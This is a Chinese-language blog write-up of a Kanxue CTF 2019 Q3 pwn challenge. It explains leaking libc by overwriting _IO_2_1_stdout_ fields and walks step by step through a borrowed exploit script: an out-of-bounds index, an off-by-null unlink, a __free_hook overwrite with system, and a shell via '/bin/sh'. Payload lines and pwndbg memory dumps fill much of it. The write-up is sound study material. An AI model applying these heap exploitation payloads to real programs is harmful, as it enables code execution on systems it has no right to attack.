美文网首页
看雪CTF2019Q3第四题:利用_IO_2_1_stout_泄

看雪CTF2019Q3第四题:利用_IO_2_1_stout_泄

作者: 静析机言 | 来源:发表于2020-03-25 18:22 被阅读0次

1. 基础知识:利用_IO_2_1_stout_泄露信息

在CTF比赛的pwn题目,或者真实的环境下,有时候程序不能泄露libc基址,如果有机会修改_IO_2_1_stdout_结构体中的数值则可以实现信息泄露。

首先来看看_IO_2_1_stdout_的结构体信息

实现信息泄露需要修改_IO_2_1_stdout_的_flags、_IO_write_base、_IO_write_ptr。步骤如下:

(1)一般我们将_flags设置为0xfbad1800。目的是为了设置_IO_CURRENTLY_PUTTING=0x800,_IO_IS_APPENDING=0x1000,IO_MAGIC=0xFBAD0000

(2)设置_IO_write_base指向想要泄露的地方;_IO_write_ptr指向泄露结束的地址。

(3)之后遇到puts或printf,就会将_IO_write_base指向的内容打印出来。

下面以看雪CTF2019Q3第四题pwn脚本为例说明。

显示_IO_2_1_stdout_=0x00007f0516d85620的内容

edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')

执行完此句后,_IO_write_base=0x00007f0516d85660,_IO_write_ptr=0x00007f0516d856a3

data = u64(io.recv(6).ljust(8,'\x00'))

执行完此句会显示菜单,其中有句puts("1.add"),将泄露0x00007f0516d85660—0x00007f0516d856a3的内容

2. 题目分析

存在2个漏洞,都在编辑函数中。

(1)没有对输入的索引进行范围判断,造成数组越界,从而可以访问到_IO_2_1_stdout_。

(2)如果输入的刚好为len长的字符,则会读取最后一字节的内容,置为0。在输入的最后加上字节”\x00″,这样就造成了offbynull漏洞。相当于多写一个0到堆中

我也是新手,没能力写pwn脚本,借助oooAooo的脚本来解析具体的解题过程。

https://bbs.pediy.com/thread-254703.htm

3.解析pwn脚本

注:下面的截图是分几次获得的,由于每次程序加载的基址不同,地址很可能前后不一致,大家仅关注后几个字节即可,不影响原理说明。

(1)获取libc基址

edit(-6, p64(0xfbad1800)+p64(0x0)*3+'\x60')

data = u64(io.recv(6).ljust(8,'\x00'))

libc_base = data - 0x3C56A4

print 'libc_base = '+ str(hex(libc_base))

system_addr = libc_base + system_offset

print 'system_addr = '+str(hex(system_addr))

(2)获取pwn程序基址

__malloc_hook_ptr = libc_base +__malloc_hook_ptr_offset

print '__malloc_hook_ptr = ' +str(hex(__malloc_hook_ptr))

edit(-6, p64(0xfbad1800)+p64(0x0)*3+p64(__malloc_hook_ptr))

pwn_malloc_hook_ptr =u64(io.recv(6).ljust(8,'\x00'))

print 'pwn_malloc_hook_ptr = '+str(hex(pwn_malloc_hook_ptr))

pwn_base = pwn_malloc_hook_ptr - 0x202020

print 'pwn_base = '+ str(hex(pwn_base))

thunk_ptr = pwn_base + globalVar_offset +0x38

feehookBk_addr = pwn_base +freehookBk_offset

print 'thunk_ptr = '+ str(hex(thunk_ptr))

print 'feehookBk_addr = '+str(hex(feehookBk_addr))

(3)申请5个0xF8大小chunk

add(248)

heap 0 : 0x5606a6ea0010

add(248)

heap 1 : 0x5606a6ea0110

add(248)

heap 2 : 0x5606a6ea0210

add(248)

heap 3 : 0x5606a6ea0310

0x5606a6ea0300:  0x0000000000000000  0x0000000000000101

0x5606a6ea0310:  0x0000000000000000  0x0000000000000000

0x5606a6ea0320:  0x0000000000000000  0x0000000000000000

0x5606a6ea0330:  0x0000000000000000  0x0000000000000000

0x5606a6ea0340:  0x0000000000000000  0x0000000000000000

0x5606a6ea0350:  0x0000000000000000  0x0000000000000000

0x5606a6ea0360:  0x0000000000000000  0x0000000000000000

0x5606a6ea0370:  0x0000000000000000  0x0000000000000000

0x5606a6ea0380:  0x0000000000000000  0x0000000000000000

0x5606a6ea0390:  0x0000000000000000  0x0000000000000000

0x5606a6ea03a0:  0x0000000000000000  0x0000000000000000

0x5606a6ea03b0:  0x0000000000000000  0x0000000000000000

0x5606a6ea03c0:  0x0000000000000000  0x0000000000000000

0x5606a6ea03d0:  0x0000000000000000  0x0000000000000000

0x5606a6ea03e0:  0x0000000000000000  0x0000000000000000

0x5606a6ea03f0:   0x0000000000000000  0x0000000000000000

0x5606a6ea0400:  0x0000000000000000  0x0000000000000101

0x5606a6ea0410:  0x0000000000000000  0x0000000000000000

add(248)

heap 4 : 0x5606a6ea0410

add(248)

heap 5 : 0x5606a6ea0510

(4) 编辑3号内存,溢出4号chunk的pre_used标志位0

payload = p64(0x110) + p64(0xf1) +p64(thunk_ptr - 0x18) + p64(thunk_ptr - 0x10) + 'a' * 0xd0 + p64(0xf0)

edit(3, payload)

x/50gx 0x55650E301080-0x10

0x55650e301080:  0x00000000000000f8   0x000055650e829010

0x55650e301090:  0x00000000000000f8   0x000055650e829110

0x55650e3010a0:  0x00000000000000f8   0x000055650e829210

0x55650e3010b0:  0x00000000000000f8   0x000055650e829310

0x55650e3010c0:  0x00000000000000f8   0x000055650e829410

0x55650e3010d0:  0x00000000000000f8   0x000055650e829510

编辑后:

0x55650e829300:  0x0000000000000000  0x0000000000000101

0x55650e829310:  0x0000000000000110  0x00000000000000f1

0x55650e829320:  0x000055650e3010a0  0x000055650e3010a8

0x55650e829330:  0x6161616161616161  0x6161616161616161

0x55650e829340:  0x6161616161616161  0x6161616161616161

0x55650e829350:  0x6161616161616161  0x6161616161616161

0x55650e829360:  0x6161616161616161  0x6161616161616161

0x55650e829370:  0x6161616161616161  0x6161616161616161

0x55650e829380:  0x6161616161616161  0x6161616161616161

0x55650e829390:  0x6161616161616161  0x6161616161616161

0x55650e8293a0:  0x6161616161616161  0x6161616161616161

0x55650e8293b0:  0x6161616161616161  0x6161616161616161

0x55650e8293c0:  0x6161616161616161  0x6161616161616161

0x55650e8293d0:  0x6161616161616161  0x6161616161616161

0x55650e8293e0:  0x6161616161616161  0x6161616161616161

0x55650e8293f0:   0x6161616161616161  0x6161616161616161

0x55650e829400:  0x00000000000000f0   0x0000000000000100

(5)删除4号内存

delete(4)

3、4号内存合并。且将第3个堆的地址指向thunk_ptr - 0x18=0x000055fa482990a0。这些都是unlink造成的。

0x55fa48299080:   0x00000000000000f8   0x000055fa4a1dd010

0x55fa48299090:   0x00000000000000f8   0x000055fa4a1dd110

0x55fa482990a0:   0x00000000000000f8   0x000055fa4a1dd210

0x55fa482990b0:   0x00000000000000f8   0x000055fa482990a0

0x55fa482990c0:   0x0000000000000000  0x0000000000000000

0x55fa482990d0:   0x00000000000000f8   0x000055fa4a1dd510

生成了一个unsorted bin

pwndbg> bins

fastbins

0x20: 0x0

0x30: 0x0

0x40: 0x0

0x50: 0x0

0x60: 0x0

0x70: 0x0

0x80: 0x0

unsortedbin

all: 0x55fa4a1dd310 —▸ 0x7fda0a932b78 (main_arena+88) ◂— 0x55fa4a1dd310

smallbins

empty

largebins

empty

(6)编辑3号内存,使其指向freehook

payload = p64(0xF8) + p64(feehookBk_addr)

edit(3, payload)

编辑前,即为全局存储长度和堆地址的地方:

pwndbg> x/20gx 0x000055fa482990a0-0x10

0x55fa48299090:   0x00000000000000f8   0x000055fa4a1dd110

0x55fa482990a0:   0x00000000000000f8   0x000055fa4a1dd210

0x55fa482990b0:   0x00000000000000f8   0x000055fa482990a0

编辑后,指向free_hook地址:

0x556d29d43080:  0x00000000000000f8   0x0000556d2b01d010

0x556d29d43090:  0x00000000000000f8   0x0000556d2b01d110

0x556d29d430a0:  0x00000000000000f8   0x0000556d29d43058

0x556d29d430b0: 0x00000000000000f8   0x0000556d29d430a0

0x556d29d430c0:  0x0000000000000000  0x0000000000000000

0x556d29d430d0: 0x00000000000000f8   0x0000556d2b01d510

(7)编辑2号内存,将free_hook指向system,实现了任意地址写。

payload = p64(system_addr)

edit(2, payload)

(8)编辑1号内存,指向/bin/sh

edit(1, '/bin/sh\x00')

(9)删除操作触发free_hook

delete(1)

delete(0x000055614c5ac110) ==>

free_hook(0x000055614c5ac110) ==> system(0x000055614c5ac110)=system(/bin/sh)

相关文章

网友评论

      本文标题:看雪CTF2019Q3第四题:利用_IO_2_1_stout_泄

      本文链接:https://www.haomeiwen.com/subject/mlmxuhtx.html